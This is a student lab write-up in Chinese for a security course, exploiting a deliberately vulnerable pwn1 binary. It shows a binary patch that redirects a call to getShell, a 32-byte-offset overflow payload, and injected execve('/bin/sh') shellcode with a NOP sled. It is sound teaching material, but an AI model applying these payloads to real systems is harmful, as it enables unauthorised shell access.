当前位置: 首页 > news >正文

20252902 2025-2026-2 《网络攻防实践》第九周

1. 实验内容

1.1 实践目标

本次实践的对象是一个名为 pwn1 的 Linux 可执行文件。

该程序正常执行流程是:main 函数调用 foo 函数,foo 函数会简单回显用户输入的字符串。

该程序同时包含另一个代码片段 getShell,它会返回一个可用 Shell。正常情况下该代码片段不会被执行,本次实验的目标就是通过修改程序执行流程、构造缓冲区溢出输入、注入并执行 shellcode 等方式,使程序执行到目标代码。

三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到 getShell 函数。
  • 利用 foo 函数的 BOF 漏洞,构造攻击输入字符串,覆盖返回地址,触发 getShell 函数。
  • 注入自己制作的 shellcode 并运行这段 shellcode。

1.2 实验要求

  • 掌握 NOP、JNE、JE、JMP、CMP 等汇编指令的机器码。
  • 掌握反汇编与十六进制编辑方法。
  • 能正确修改机器指令改变程序执行流程。
  • 能正确构造 payload 进行 BOF 攻击。

2. 实验过程

由于本次实验要求截图中的主机名为本人姓名拼音,且所编辑文件名包含自己的学号,因此首先进入 Kali 虚拟机,切换到 root 用户后修改主机名为 lujinyu

sudo su
hostname lujinyu

随后将实验文件 pwn1 复制到 Kali 中,并按要求改名。前半部分实验使用文件名 pwn20252902,后续重新准备样本时使用文件名 pwn20252902ljy

mv pwn1 pwn20252902

2.1 修改文件改变程序执行流程

首先对可执行文件进行反汇编,观察程序中的关键函数和调用关系。

objdump -d pwn20252902 | more

通过反汇编结果可以看到程序为 elf32-i386 格式,并能继续向下查找 getShellfoomain 等函数信息。

vim 中直接打开二进制文件时会显示为乱码,因此需要先将文件转换成十六进制形式。

:%!xxd

继续在十六进制视图中查找并定位 main 函数中调用 foocall 指令对应机器码。

根据反汇编结果,本次实验用到的关键地址如下:

  • call 指令所在地址:0x080484b5
  • call 指令下一条指令地址:0x080484ba
  • 原目标函数 foo 地址:0x08048491
  • 目标函数 getShell 地址:0x0804847d

x86 中 call rel32 指令采用相对寻址,跳转目标地址计算方式为:

目标地址 = 下一条指令地址 + 偏移量

原本调用 foo 时:

0x08048491 - 0x080484ba = -0x29

因此机器码中保存为补码 0xffffffd7,也就是小端序的 d7 ff ff ff

现在要让 call 跳转到 getShell,需要重新计算偏移量:

0x0804847d - 0x080484ba = -0x3d

-0x3d 的 32 位补码为 0xffffffc3,对应小端序机器码为 c3 ff ff ff。所以只需要把原来的:

e8 d7 ff ff ff

修改为:

e8 c3 ff ff ff

修改完成后,使用下面命令将十六进制内容转换回原始二进制格式,并保存退出。

:%!xxd -r
:wq

再次运行修改后的 pwn20252902,程序不再进入普通回显流程,而是直接执行到 getShell,出现 shell 环境。输入 exit 后可以退出该 shell。

./pwn20252902
exit

2.2 利用漏洞构造攻击

为了进行后续缓冲区溢出实验,重新准备一份可执行文件,并将其命名为 pwn20252902ljy

使用 objdump 对新文件继续进行反汇编分析。

objdump -d pwn20252902ljy | more

在分析过程中需要使用 gdb,因此先安装调试工具。

apt install gdb

安装完成后,使用 gdb 打开 pwn20252902ljy

gdb pwn20252902ljy

通过反汇编 foo 函数,可以看到其关键代码结构如下:

08048491 <foo>:8048491: push   %ebp8048492: mov    %esp,%ebp8048494: sub    $0x38,%esp8048497: lea    -0x1c(%ebp),%eax804849a: mov    %eax,(%esp)804849d: call   8048330 <gets@plt>80484a2: lea    -0x1c(%ebp),%eax80484a5: mov    %eax,(%esp)80484a8: call   8048350 <puts@plt>80484ad: leave80484ae: ret

其中 gets() 函数不会检查输入长度,因此可以利用超长输入覆盖返回地址。缓冲区起始位置是 ebp-0x1c,距离 ebp 为 28 字节;返回地址位于 ebp+4,因此需要 28 + 4 = 32 字节填充后才能覆盖到返回地址。

接下来在 gdb 中运行程序,并输入一段有明显分组特征的超长字符串。

r
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFF

程序收到 SIGSEGV 后崩溃,此时查看寄存器信息。

info registers

可以看到 eip = 0x45454545,十六进制 0x45 对应字符 E,说明返回地址被字符串中的 EEEE 覆盖。由于 E 出现在输入字符串中 32 字节之后的位置,因此验证了返回地址覆盖偏移量为 32 字节。

构造 payload 的结构如下:

32 字节填充 + getShell 地址

getShell 函数入口地址为 0x0804847d,按小端序写入为 \x7d\x84\x04\x08。因此生成 payload 文件:

perl -e 'print "A"x32 . "\x7d\x84\x04\x08"' > payload
xxd payload

可以看到 payload 中先是 32 个 0x41,随后是 7d 84 04 08,正好对应要覆盖的 getShell 地址。

攻击原理可以表示为:

低地址
┌──────────────────────┐
│ buf[0..27]            │  28 字节缓冲区
├──────────────────────┤
│ old ebp               │  4 字节
├──────────────────────┤
│ return address        │  覆盖为 0x0804847d
└──────────────────────┘
高地址

执行攻击时,如果只使用输入重定向,程序进入 shell 后标准输入会结束,无法继续交互。因此使用 (cat payload; cat) 保持标准输入打开。

(cat payload; cat) | ./pwn20252902ljy

成功进入 shell 后,输入 whoamihostnamepwd 进行验证,可以看到当前用户为 root,主机名为 lujinyu,当前目录为 /home/kali

2.3 注入 shellcode

接下来进行 shellcode 注入实验。首先安装 execstack 工具,并将目标程序设置为允许在栈上执行代码。

dpkg -i execstack_0.0.20131005-1.1_amd64.deb
execstack -s pwn20252902ljy
execstack -q pwn20252902ljy

execstack -q 输出中出现 X pwn20252902ljy,说明该程序已经允许在栈上执行代码。

随后查看地址空间布局随机化状态。

more /proc/sys/kernel/randomize_va_space

截图中输出为 2,说明系统当前开启了地址空间随机化。为了定位 shellcode 的实际栈地址,先构造带有标记值的输入文件。这里使用 \x04\x03\x02\x01 作为返回地址占位标记,后面跟随 NOP 滑梯和 shellcode。

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input20252902

运行目标程序,并将 input20252902 作为输入。

(cat input20252902; cat) | ./pwn20252902ljy

同时在另一个终端中查看进程号。

ps -ef | grep pwn20252902ljy

可以看到目标进程正在运行,随后使用 gdb 附加该进程进行调试。

attach 4383

在 gdb 中反汇编 foo 函数,确认 ret 指令地址为 0x080484ae

disassemble foo

ret 指令设置断点,并继续运行。

break *0x080484ae
continue

程序在 ret 处断下后,查看当前栈指针 esp 的值。

info r esp

截图中 esp = 0xffffd2ec,此时栈顶保存的是占位返回地址 0x01020304。真正希望程序跳转到的是后面的 NOP 滑梯,因此目标地址应向后移动 4 字节:

0xffffd2ec + 0x4 = 0xffffd2f0

因此最终应将返回地址替换为 0xffffd2f0,小端序写作 \xf0\xd2\xff\xff。最终 payload 结构为:

perl -e 'print "A" x 32;print "\xf0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input20252902

再执行:

(cat input20252902; cat) | ./pwn20252902ljy

即可使程序返回到栈中的 NOP 滑梯并继续执行 shellcode。

3. 学习中遇到的问题及解决

问题 1:直接使用 vim 打开可执行文件时显示乱码,无法直接定位机器码。

解决方法:可执行文件是二进制文件,不能按普通文本方式编辑。应在 vim 中使用 :%!xxd 转换为十六进制视图,完成修改后再用 :%!xxd -r 转换回原始二进制格式,最后保存退出。

问题 2:构造 payload 后,如果使用 ./pwn20252902ljy < payload 这种普通重定向方式,程序即使进入 shell,也会因为标准输入结束而无法继续交互。

解决方法:使用 (cat payload; cat) | ./pwn20252902ljy,前一个 cat 负责送入 payload,后一个 cat 用来保持标准输入打开,从而能够继续输入命令验证 shell。

问题 3:shellcode 注入时返回地址不容易直接确定。

解决方法:先使用 \x04\x03\x02\x01 作为占位返回地址,再用 gdb 在 ret 指令处断下,查看 esp 的值。根据 esp 指向占位返回地址、NOP 滑梯紧随其后的特点,计算出真正应覆盖的目标地址。

4. 学习感想和体会

通过本次实验,我对缓冲区溢出攻击的完整流程有了更直观的认识。手工修改二进制文件让我理解了机器指令和程序控制流之间的关系;构造 payload 覆盖返回地址让我理解了栈帧、缓冲区、旧 ebp 和返回地址之间的布局;最后通过 gdb 定位栈地址并注入 shellcode,让我进一步认识到程序安全机制、地址随机化和栈执行权限对漏洞利用的影响。

本次实验也让我意识到,gets() 这类不进行边界检查的函数会带来严重安全风险。只要攻击者能够控制输入,就可能覆盖返回地址并改变程序执行流程。因此在实际开发中必须避免使用不安全函数,同时结合栈不可执行、ASLR、栈保护等机制降低漏洞被利用的可能性。

http://www.zskr.cn/news/1435426.html

相关文章:

  • 决策者选几家物流公司踩过的坑:头部客观盘点 - 资讯纵览
  • 如何掌控你的数字记忆:WeChatMsg数据主权终极指南
  • 如何永久保存微信聊天记录:3种高效方法解析
  • 杰理可视化SDK开发-添加按键触摸音教程
  • ChanlunX缠论插件:5分钟快速上手的通达信自动画线工具终极指南 [特殊字符]
  • 如何快速掌握RPFM:全面战争模组制作的完整教程
  • 基于Arduino的红外传感器双向人数统计与自动灯光控制系统
  • 3步解锁微信记忆宝库:让聊天记录成为你的数字资产
  • 2026年5月南京在售楼盘官方售楼电话大全 - 资讯纵览
  • 6种字重免费开源:PingFangSC字体如何解决跨平台中文排版难题
  • 3步快速下载网易云音乐FLAC无损音乐:建立个人无损音乐库的终极指南
  • 广西省北流市寄件省钱攻略:4 个全国低价寄快递微信工具,小件快递大件物流特产一键上门 - 时讯资讯
  • PMP五大过程组详解:启动、规划、执行、监控、收尾 - 众智商学院职业教育
  • 终极百度网盘加速方案:BaiduPCS-Web与KinhDown完整配置指南
  • 基于Arduino与蓝牙的视觉化计时器:从硬件选型到APP开发全解析
  • AtlasOS深度优化指南:让你的Windows系统快如闪电的终极方案
  • 3大核心技术:ESP32显示驱动完全实战指南
  • 零漂移单电源R-R运算放大:AD8629
  • 2026 年 5 月 陈年茅台品鉴馆 西安酒水回收 现款交易商户人气排行榜 - 资讯纵览
  • 小说下载器:一键保存全网小说,打造个人离线图书馆
  • Triplane Transformer:单图像3D重建的速度与质量革命
  • 如何永久保存微信聊天记录:免费本地数据备份与情感分析完整指南
  • 基于Arduino Uno与UnoJoy库自制USB游戏手柄全攻略
  • FinalBurn Neo终极指南:构建高性能街机模拟器的技术实践
  • Windows隐私保护新方案:Boss-Key一键隐藏工具完全指南
  • 基于Arduino的自动喂鱼器DIY:从硬件搭建到编程控制
  • 三步解决pyecharts离线部署难题:告别网络依赖的完整方案
  • 反渗透高纯水设备哪家强?2026年05月加工厂推荐名单,超纯水设备/全自动高纯水设备,高纯水设备生产厂家哪家好 - 品牌推荐师
  • Zotero Style完整指南:让文献管理效率翻倍的终极插件
  • 破解工业高能耗降温痛点:科瑞昌省电空调3E方法论如何降本增效? - 资讯纵览